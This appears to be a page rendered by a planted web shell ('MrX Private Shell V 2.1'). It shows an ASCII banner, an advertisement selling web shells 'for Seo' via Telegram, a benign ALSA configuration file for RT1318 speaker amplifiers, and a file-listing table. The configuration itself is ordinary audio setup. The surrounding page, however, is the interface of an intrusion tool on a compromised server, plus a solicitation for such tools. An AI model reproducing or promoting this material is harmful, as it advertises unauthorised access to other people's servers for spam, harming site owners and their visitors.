__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# RT1318 specific switch control settings
Define.SpeakerMixerElem "rt1318-1 DAC"
If.twoAmpsStereoToOne {
Condition {
Type RegexMatch
Regex "2"
String "${var:SpeakerAmps}"
}
True {
Define.SpeakerMixerElem "rt1318 DAC"
LibraryConfig.remap.Config {
ctl.default.map {
"name='rt1318 DAC Playback Switch'" {
"name='rt1318-1 DAC Switch'".vindex.0 [ 0 1 ]
"name='rt1318-2 DAC Switch'".vindex.1 [ 0 1 ]
}
}
}
}
}
If.oneAmp {
Condition {
Type ControlExists
Control "name='rt1318-1 DAC Switch'"
}
True {
FixedBootSequence [
exec "-/sbin/modprobe snd_ctl_led"
sysw "-/class/sound/ctl-led/speaker/card${CardNumber}/attach:rt1318-1 DAC Switch"
]
}
}
If.twoAmps {
Condition {
Type ControlExists
Control "name='rt1318-2 DAC Switch'"
}
True {
FixedBootSequence [
sysw "-/class/sound/ctl-led/speaker/card${CardNumber}/attach:rt1318-2 DAC Switch"
]
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| init.conf | File | 911 B | 0644 |
|